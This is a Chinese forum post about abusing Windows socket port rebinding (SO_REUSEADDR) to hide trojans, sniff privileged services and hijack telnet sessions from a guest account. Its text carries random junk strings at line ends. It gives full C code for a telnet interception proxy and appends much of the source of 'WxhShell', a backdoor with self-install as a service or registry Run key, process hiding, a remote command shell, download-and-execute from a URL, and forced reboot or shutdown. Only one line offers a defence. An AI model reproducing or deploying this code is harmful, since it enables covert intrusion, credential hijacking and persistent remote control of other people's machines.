社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14953阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jKSj);  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _h%Jf{nu  
zcpL[@B  
  saddr.sin_family = AF_INET; dg D-"-O  
mY|c7}>V;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sA0 Ho6  
zI88IM7/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !E7gI qo  
KbJ6U75|f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QE]@xLz   
o'Bd. B  
  这意味着什么?意味着可以进行如下的攻击: 6:1`lsP  
tldT(E6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [i.@q}c~E  
V:0IBbh)w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }_Bo:*9B-o  
lH fZw})d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gt4GN`-k  
]aN9mT N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,@"yr>Q9#6  
*i#2>=)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Zy0M\-Mn  
VPN 9 Ql=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zzG=!JR  
O{:{P5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y A.&ap  
DJ ru|2  
  #include B<W}:>3  
  #include +'H[4g`  
  #include VPCI5mS_  
  #include    ^} j~:EZb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ODJ"3 J  
  int main() N=mvr&arP  
  { KFM[caKeJO  
  WORD wVersionRequested; q 4BXrEOw  
  DWORD ret; &+9 ;  
  WSADATA wsaData; ]dycesc'  
  BOOL val; \Y#  
  SOCKADDR_IN saddr; z/Lb1ND8  
  SOCKADDR_IN scaddr; * :"*'  
  int err; YznL+TD  
  SOCKET s; _/[qBe  
  SOCKET sc; Q`CuZkP(  
  int caddsize; 3G// _f  
  HANDLE mt; mR}8}K]L  
  DWORD tid;   Rtf<UhUn  
  wVersionRequested = MAKEWORD( 2, 2 ); u5CSx'h]  
  err = WSAStartup( wVersionRequested, &wsaData ); I0-1Hr  
  if ( err != 0 ) { Kq7r+ A  
  printf("error!WSAStartup failed!\n"); L5hF-Ek! 3  
  return -1; z$<=8ox8e  
  } %Tp9G Gt  
  saddr.sin_family = AF_INET; #rHMf%0  
   OPvPP>0*8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mQj#\<*  
4vg,g(qi<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O"9t,B>=i  
  saddr.sin_port = htons(23); NT6jwK.?)?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sbvP1|P8%  
  { 97c0bgI!+  
  printf("error!socket failed!\n"); =B&|\2`{)  
  return -1; (o>N*?, }  
  } ft"-  
  val = TRUE; @Y~gdK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y XhZWo{B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y)r`<B  
  { o*T?f)_[p  
  printf("error!setsockopt failed!\n"); .M6. ]H  
  return -1; GTs,?t16/  
  } {\Pk;M{Y&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /.:1Da  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [_N1 .}e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LM<*VhX  
V7$ m.P#uM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $$AZ)#t[  
  { ?MDo. z3  
  ret=GetLastError(); %/eG{ oh-  
  printf("error!bind failed!\n"); p5In9s  
  return -1; yf{\^^ i(  
  } Uahh|> s  
  listen(s,2); Q-)(s  
  while(1) NbWEP\dS'z  
  { ;v8TT}R  
  caddsize = sizeof(scaddr); Y] 1U1 08  
  //接受连接请求 \Y,P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (U\o0LI  
  if(sc!=INVALID_SOCKET) N\|B06X  
  { 1D%P;eUDp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^|/<e?~I  
  if(mt==NULL) e {6wFN  
  { _d!sSyk`  
  printf("Thread Creat Failed!\n"); 5?3v;B6  
  break; (~@.9&cBD  
  } S 1k*"><  
  } Q_ T,=y  
  CloseHandle(mt); d 6Y9D=O  
  } ['QhC({  
  closesocket(s); [,bJKz)a  
  WSACleanup(); kwi$%  
  return 0; 'q}Ud10c  
  }   4#t'1tzu#  
  DWORD WINAPI ClientThread(LPVOID lpParam) &"u(0q  
  { 7Kym|Zg  
  SOCKET ss = (SOCKET)lpParam; 7$7|~k  
  SOCKET sc; !19T=p/:$  
  unsigned char buf[4096]; U["<f`z4\  
  SOCKADDR_IN saddr; 3 EAr=E]  
  long num; JP!e'oWxi  
  DWORD val; ln<[CgV8  
  DWORD ret; CCpRQKb=  
  //如果是隐藏端口应用的话,可以在此处加一些判断  7]@M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   u%L6@M2  
  saddr.sin_family = AF_INET; Wz^;:6F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); oD%n}  
  saddr.sin_port = htons(23); D~inR3(}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~N /%R>(v  
  { Sh;`<Ggi~  
  printf("error!socket failed!\n"); %X\J%Fj  
  return -1; QM!UMqdj  
  } hgZvti  
  val = 100; wgDAb#Zuk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9X[378f+(  
  { lf\"6VIsR  
  ret = GetLastError(); /XG7M=A$o  
  return -1; i~GW  
  } yI=nu53BV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z4 z|B&  
  { (9bU\4F\  
  ret = GetLastError(); h-.^*=]R6  
  return -1; uA`e  
  } vkLt#yj~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !B[ Y?b:  
  { e_Zs4\^ef  
  printf("error!socket connect failed!\n"); C&F% j.<  
  closesocket(sc); kFJ]F |^7  
  closesocket(ss); oCwep^P(v  
  return -1; ;E}&{w/My  
  } x ~l"'qsK  
  while(1) &=zJ MGa  
  { 0"-H34M <D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D _\HX9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SdufI_'B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AU*]D@H  
  num = recv(ss,buf,4096,0); 'bv(T2d~~  
  if(num>0) M|y!,/'  
  send(sc,buf,num,0); WKr4S<B8mr  
  else if(num==0) L9[m/(:y  
  break; YTgT2w  
  num = recv(sc,buf,4096,0); q.:a4w J  
  if(num>0) 2+|r*2_glo  
  send(ss,buf,num,0); Gj#BG49g2  
  else if(num==0) [)Ia Xa  
  break; "6e3Mj\  
  } 1>_$O|dE  
  closesocket(ss); -8:O?]+Q/  
  closesocket(sc); tIA)LF  
  return 0 ; lYS4Q`z$  
  } q q^[(n  
u 'ng'j'  
)`=N+k]  
========================================================== Q2|6WE  
w6 Y+Y;,'f  
下边附上一个代码,,WXhSHELL 8}z PDs  
'o_ RC{k2"  
========================================================== U ;4;>  
(^=kV?<  
#include "stdafx.h" d6W&u~  
HDo=WqG  
#include <stdio.h> _#<l -R`  
#include <string.h> *nM.`7g*[  
#include <windows.h> ~9f Ts4U  
#include <winsock2.h> }k1[Fc|  
#include <winsvc.h> B^1jd!m  
#include <urlmon.h> _qit$#wK;  
{ F0"U=  
#pragma comment (lib, "Ws2_32.lib") 6{Bvl[mhI  
#pragma comment (lib, "urlmon.lib") M~sP|Ha"+  
gi A(VUwI>  
#define MAX_USER   100 // 最大客户端连接数 BZQJ@lk5  
#define BUF_SOCK   200 // sock buffer oxCfSA  
#define KEY_BUFF   255 // 输入 buffer a`||ePb|W~  
y9:o];/  
#define REBOOT     0   // 重启 "Q23s"  
#define SHUTDOWN   1   // 关机 a.<!>o<t:  
@S012} xH  
#define DEF_PORT   5000 // 监听端口 [o'}R`5)  
+w?1<Z  
#define REG_LEN     16   // 注册表键长度 v|kL7t)}  
#define SVC_LEN     80   // NT服务名长度 QD[l 6  
^w RD|  
// 从dll定义API P.|g4EdND  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~fA H6FdZ\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,"5p=JX`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <RkJ 7Z^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); is- {U? -  
v2#qs*sW8  
// wxhshell配置信息 Zfr?(y+3  
struct WSCFG { * 8D(Lp1  
  int ws_port;         // 监听端口 vCR\lR+  
  char ws_passstr[REG_LEN]; // 口令 TwE&5F*  
  int ws_autoins;       // 安装标记, 1=yes 0=no Lj3q?>D*^6  
  char ws_regname[REG_LEN]; // 注册表键名 [h :FJ  
  char ws_svcname[REG_LEN]; // 服务名 I'cM\^/h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,wra f#UdP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0xutG/-&N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LZ9IE>sj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6~+?DIc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *Oe;JqQkK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Lop=._W  
VM ny>g&3  
}; T|nN.  
qo;F]v*pkK  
// default Wxhshell configuration > cJX'U9  
struct WSCFG wscfg={DEF_PORT, =>h~<88#5  
    "xuhuanlingzhe", |Oaj Jux  
    1, ]| =#FFz  
    "Wxhshell", v3jx2Z  
    "Wxhshell", =HvLuVc  
            "WxhShell Service", F9SIC7}uH  
    "Wrsky Windows CmdShell Service", j#XU\G  
    "Please Input Your Password: ", (aH_K07  
  1, 7<ES&ls_  
  "http://www.wrsky.com/wxhshell.exe", q} R"  
  "Wxhshell.exe" |7T!rnr  
    }; /9yA.W;  
;c>Rjg&[  
// 消息定义模块 P(r}<SM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 80M4~'3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KK*"s^ L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w4+bzdZ  
char *msg_ws_ext="\n\rExit."; kjW`k?'s  
char *msg_ws_end="\n\rQuit."; IF*kLl?  
char *msg_ws_boot="\n\rReboot..."; hE/y"SP3  
char *msg_ws_poff="\n\rShutdown..."; I-q@@! =  
char *msg_ws_down="\n\rSave to "; #P6;-d@a  
C>7k|;BvF  
char *msg_ws_err="\n\rErr!"; `qsn;  
char *msg_ws_ok="\n\rOK!"; v4< x 4  
/SD2e@x{U  
char ExeFile[MAX_PATH]; e{9(9qE"  
int nUser = 0; A d7=JzV  
HANDLE handles[MAX_USER]; 5G=CvGu  
int OsIsNt; QSy#k~  
BO ^T :  
SERVICE_STATUS       serviceStatus; =l3* { ?G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W,>;`>  
'x10\Q65[  
// 函数声明 \bb,gRfP  
int Install(void); !$+J7\& 7p  
int Uninstall(void); dDk<J;~jGJ  
int DownloadFile(char *sURL, SOCKET wsh); Lp/]iZ@  
int Boot(int flag); 7QRtNYo#\  
void HideProc(void); (sn|`k3I  
int GetOsVer(void); 7[V'3  
int Wxhshell(SOCKET wsl); Z)(C7,Xu  
void TalkWithClient(void *cs); /T*]RO4%>]  
int CmdShell(SOCKET sock); *Mqg_} 0Y  
int StartFromService(void); #H1yjJQ /x  
int StartWxhshell(LPSTR lpCmdLine); cj<j *(ZZ  
vexQP}N0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hp":r%)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b_=k"d  
S?=2GY  
// 数据结构和表定义 uoKC+8GA  
SERVICE_TABLE_ENTRY DispatchTable[] = fD|ox  
{ XH2g:$  
{wscfg.ws_svcname, NTServiceMain}, 413r3/  
{NULL, NULL} >[Q(!Ai  
}; femAVx}go  
aX1|&erI  
// 自我安装 Fk 1M5Dm  
int Install(void) TaB35glLY  
{ ?Zoq|Q+  
  char svExeFile[MAX_PATH]; (N43?iv(  
  HKEY key; H1=R(+-s  
  strcpy(svExeFile,ExeFile); *4[3?~_B#6  
kF.PLn'iS  
// 如果是win9x系统,修改注册表设为自启动 ?P`]^#  
if(!OsIsNt) { te'<xfG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d8 ve$X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e}}xZ%$4|  
  RegCloseKey(key); n|L.d BAs]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !H,R$3~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ty]CdyL$  
  RegCloseKey(key); 5NeEDY 2%#  
  return 0; 'F[QE9]*  
    } `)H.TMI   
  } jvm "7)h  
} ipKkz  
else { -i @!{ ?  
W?R$+~G  
// 如果是NT以上系统,安装为系统服务 F1|4([-<]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P[ KJuc  
if (schSCManager!=0) -acW[$t  
{  Jb {m  
  SC_HANDLE schService = CreateService r0j:ll d  
  ( 3QS"n.d  
  schSCManager, ;Fuxj!gF  
  wscfg.ws_svcname, "v~w#\pz7  
  wscfg.ws_svcdisp, E<&VK*{zcO  
  SERVICE_ALL_ACCESS, 1rEhL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @eT!v{o  
  SERVICE_AUTO_START, x%x:gkq  
  SERVICE_ERROR_NORMAL, hlkf|H  
  svExeFile, F=^vu7rf  
  NULL, zYSXG-k  
  NULL, haa [ob6T  
  NULL, Vv=d*  
  NULL, ?~S\^4]  
  NULL _.FxqH>  
  ); NRq jn; ,+  
  if (schService!=0) \&AmX8" [  
  { 6z=:x+m  
  CloseServiceHandle(schService); =UNzjmP503  
  CloseServiceHandle(schSCManager); vM\8>p*U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  HPwmi[  
  strcat(svExeFile,wscfg.ws_svcname); 8u;l<^<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rmR7^Ycv/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a50{gb#  
  RegCloseKey(key); zc,fJM  
  return 0; R0\E?9P  
    } U#,2et6  
  } ;U}lh~e11  
  CloseServiceHandle(schSCManager); t]" 3vE>  
} t91v%L   
} Z10#6v  
pU`Q[HOs  
return 1; Z:9"7^+  
} WRFzb0;01  
W/{HZ< :.  
// 自我卸载 +l&ZN\@0X  
int Uninstall(void) <tgJ-rnL  
{ P7"g/j""  
  HKEY key; b^5rV5d  
MWsBZJRr  
if(!OsIsNt) { 7ktf =Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |'mgo  
  RegDeleteValue(key,wscfg.ws_regname); W)w@ju$Ko  
  RegCloseKey(key); c<-_Vh.:5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0ltq~K  
  RegDeleteValue(key,wscfg.ws_regname); ?OvtR:hC  
  RegCloseKey(key); B7T(9Tj+Fh  
  return 0; A'6>"=ziP  
  } 9)T;.O  
} w]F(o  
} $xlI"-(  
else { OZLU>LU  
1|n,s-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SukRJvi  
if (schSCManager!=0) RNp3lXf O  
{ #th^\pV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6#.z:_  
  if (schService!=0) e/F=5_Io  
  { Q6kkMLh  
  if(DeleteService(schService)!=0) { nP4jOq*H  
  CloseServiceHandle(schService); O^4:4tRpt  
  CloseServiceHandle(schSCManager); f(7 /  
  return 0; )iluu1,o  
  } 3(}HD*{E[@  
  CloseServiceHandle(schService); ;VYL7Xu](  
  } %nP13V]  
  CloseServiceHandle(schSCManager); KS1Z&~4  
} Qy5\qW'  
} lJu2}XRiU  
nXk<DlTws  
return 1; ^ ,U9N  
} VL&E2^*E  
N 0&h5  
// 从指定url下载文件 Yep(,J~'  
int DownloadFile(char *sURL, SOCKET wsh) lySeq^y?Q  
{ .z7F58  
  HRESULT hr; _)zSjFX9  
char seps[]= "/"; HpuHJ#l  
char *token; *>9#a0cp  
char *file; X9#Od9cNaC  
char myURL[MAX_PATH]; kiZA$:V8  
char myFILE[MAX_PATH]; 9]Uvy|  
Bj;Fy9[yb  
strcpy(myURL,sURL); AnfJyltS  
  token=strtok(myURL,seps); $^y6>@~  
  while(token!=NULL) T Jp(  
  { QrHI}r  
    file=token; [F*t2 -ta  
  token=strtok(NULL,seps); X'IW &^kI  
  } 'kL>F&|  
{Z3B#,V(g  
GetCurrentDirectory(MAX_PATH,myFILE); (p-a;.Twj  
strcat(myFILE, "\\"); N3TkRJZ  
strcat(myFILE, file); c*9RzD#Zj  
  send(wsh,myFILE,strlen(myFILE),0); x'+lNlv  
send(wsh,"...",3,0); k2" Z:\?z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C5\bnk{  
  if(hr==S_OK) <hkg~4EKc  
return 0; ~:D}L   
else  }aRV)F  
return 1; 959&I0=g"  
J}hi)k  
} S`5^H~  
+D*b!5[  
// 系统电源模块 >mgbs>  
int Boot(int flag) (`k0tC2  
{ *Ny^XQ_X  
  HANDLE hToken; 's8NO Xlj  
  TOKEN_PRIVILEGES tkp; H"tS33  
5qGRz"\p~  
  if(OsIsNt) { W> s@fN9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,i;kAy)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fF;Oz"I{\  
    tkp.PrivilegeCount = 1; c_)vWU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "gfy6m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6,7Fl=<  
if(flag==REBOOT) { /RT3 r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Xl.h&x0? 8  
  return 0; MP-A^QT  
} Yi1_oe  
else { @AvXBMq|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xYtY}?!"  
  return 0; t IdH?x  
} 0e^j:~*  
  } x;# OM  
  else { & %ej=O  
if(flag==REBOOT) { xV:.)Dq9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G9<p Yt{:  
  return 0; tYC`?HT  
} {  KE[8n  
else { muwXzN(KX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )Mx[;IwE  
  return 0; 5][Rvu0  
} xC9^x7%3O  
} 72GXgah  
DQDt*Uj,  
return 1; 1uG?R  
} wciYv,  
U59uP 7n  
// win9x进程隐藏模块 is}o5\JEL  
void HideProc(void) NDm@\<MIzB  
{ /XjIm4EN  
Wct +T,8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L"rLalUw  
  if ( hKernel != NULL ) 3Wrl_V  
  { \7nlwFAO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xAMj16ZF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Oj:O-PtN2  
    FreeLibrary(hKernel); ^)m]j`}IGb  
  } @#c(4}^ <w  
f#pT6  
return; w;vp X>  
} =iC5um:  
[R)?93  
// 获取操作系统版本 z%Ywjfn'  
int GetOsVer(void) pv+FPB  
{ J*F-tRuEw  
  OSVERSIONINFO winfo; S U~vS   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c|x:]W'ij  
  GetVersionEx(&winfo); _- H uO/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BA' ($D>  
  return 1; ,-ZAI b*  
  else Xw!eB?A  
  return 0; 8RbtI4  
} ;TD<\1HJT=  
S])YU?e  
// 客户端句柄模块 12])``9  
int Wxhshell(SOCKET wsl) X&0m$x  
{ udX4SBq-pC  
  SOCKET wsh; ={ c=8G8T  
  struct sockaddr_in client; XL_X0(AKf  
  DWORD myID; "5Bga jrB  
eC%.xu^  
  while(nUser<MAX_USER) Zk$AAjC&  
{ `W e M  
  int nSize=sizeof(client); 1wmS?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j 9XY%4.  
  if(wsh==INVALID_SOCKET) return 1; =<s+cM  
,miU'<8tQ|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KYD,eVQ  
if(handles[nUser]==0) oOy@X =cw  
  closesocket(wsh); E,JDO d}  
else >^ 0JlL`XG  
  nUser++; 8X][TJG$  
  } V=Iau_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B9KY$^J  
5F+5J)h  
  return 0; )I9AF,K  
} Y=sRVypJ  
Mii-Q`.:  
// 关闭 socket VV)PSodb  
void CloseIt(SOCKET wsh) I! {AWfp0  
{ Wxkk^J9F3  
closesocket(wsh); g3 6oEz~|  
nUser--; 8Y3c,p/gS>  
ExitThread(0); ;Jr6  
} Wznz  
)TJz'J\*  
// 客户端请求句柄 a8rsF  
void TalkWithClient(void *cs) 8kXbyKX[b  
{ cveTrY}g  
,WR$xi.j  
  SOCKET wsh=(SOCKET)cs; LTG#nM0  
  char pwd[SVC_LEN]; Yr-a8aSTE5  
  char cmd[KEY_BUFF]; <.CO{L\e  
char chr[1]; FVMR9~&+  
int i,j; 8)ZWR3)+W  
-20o%t  
  while (nUser < MAX_USER) { p<Wb^BE  
xY(+[T!OF  
if(wscfg.ws_passstr) { ^LaI{UDw%h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z^`&Z3s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :k6|-A2  
  //ZeroMemory(pwd,KEY_BUFF); A3*ti!X<6  
      i=0; !I-+wc{ss  
  while(i<SVC_LEN) { F#7ZR*ZB1  
jy(,^B,]  
  // 设置超时 U2 <*BRJ  
  fd_set FdRead; y GT"k,a  
  struct timeval TimeOut; J0a]Wz%  
  FD_ZERO(&FdRead); Z2)f$ c  
  FD_SET(wsh,&FdRead); x9xb4ZW  
  TimeOut.tv_sec=8; &{9'ylv-B)  
  TimeOut.tv_usec=0; LG'JQGl5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I.r &;   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %eGxQDIXg  
0{F"b'h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `I,A7b  
  pwd=chr[0]; O*d&H;;  
  if(chr[0]==0xd || chr[0]==0xa) { xr&wV0O '  
  pwd=0; H/Cv?GJF  
  break; JaKR#Y$+~  
  } G]E$U]=9r:  
  i++; V.)y7B  
    } 2hEB?ZAQZ  
(9*s:)zD-  
  // 如果是非法用户,关闭 socket .3?'+KZ,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +L;[-]E8  
} D%(9ot{!e  
Dx$74~2e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `)\_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z@>z.d4  
#bUWF|zfT  
while(1) { ZLyJ  
=rl/ l8|P  
  ZeroMemory(cmd,KEY_BUFF); Re5m  
MG>g?s'!  
      // 自动支持客户端 telnet标准   t;Jt+k~  
  j=0; IJ!]1fXy+  
  while(j<KEY_BUFF) { |xZDc6HDW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 33J}AK^FE  
  cmd[j]=chr[0]; 9-o{[  
  if(chr[0]==0xa || chr[0]==0xd) { x5v^@_: jr  
  cmd[j]=0; 3:<+9X  
  break; pu=T pSZ  
  } WLiY:X(+|  
  j++; 1,`-n5@J%n  
    } rtvuAFiH  
->n<9  
  // 下载文件 <Xm5re.  
  if(strstr(cmd,"http://")) { Oh6;o1UI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "8ILV`[  
  if(DownloadFile(cmd,wsh)) ?)<zrE5p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aw/Y#  
  else  4D"IAI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |}^[f]  
  } h#zx^F1  
  else { EAF<PMb  
?*u)T%S  
    switch(cmd[0]) { -kZz,pNQ,  
  $ 1H?k  
  // 帮助 "sz LTC]*6  
  case '?': { WEqHL,Uh]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xx:0Nt]  
    break; >r{3t{  
  } d%1S6eYa'  
  // 安装 G(JvAe]r  
  case 'i': { %83PbH  
    if(Install()) u9:;ft{}N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Vy$d<@s[  
    else $Bz|[=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JnhHV(H  
    break; o%h\55S  
    } lk \|EG  
  // 卸载 6ecr]=Cv  
  case 'r': { KZ ?<&x  
    if(Uninstall()) 6Kh: m-E9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1KruGq~  
    else ?XsL4HI x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z{chAg\  
    break; 0vS%m/Zi-  
    } \4K8*`$  
  // 显示 wxhshell 所在路径 b6bmvHD  
  case 'p': { `>?\MWyu  
    char svExeFile[MAX_PATH]; .}ohnnJB0  
    strcpy(svExeFile,"\n\r"); fTY@{t  
      strcat(svExeFile,ExeFile); N TXT0:  
        send(wsh,svExeFile,strlen(svExeFile),0); ;&W N%L*  
    break; { YJ.BWr  
    } Xu3^tH-b<  
  // 重启 _M:)x0("  
  case 'b': { tFwQ /  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \b.2f+;3  
    if(Boot(REBOOT)) eQcy'GA06  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A&$!s)8z  
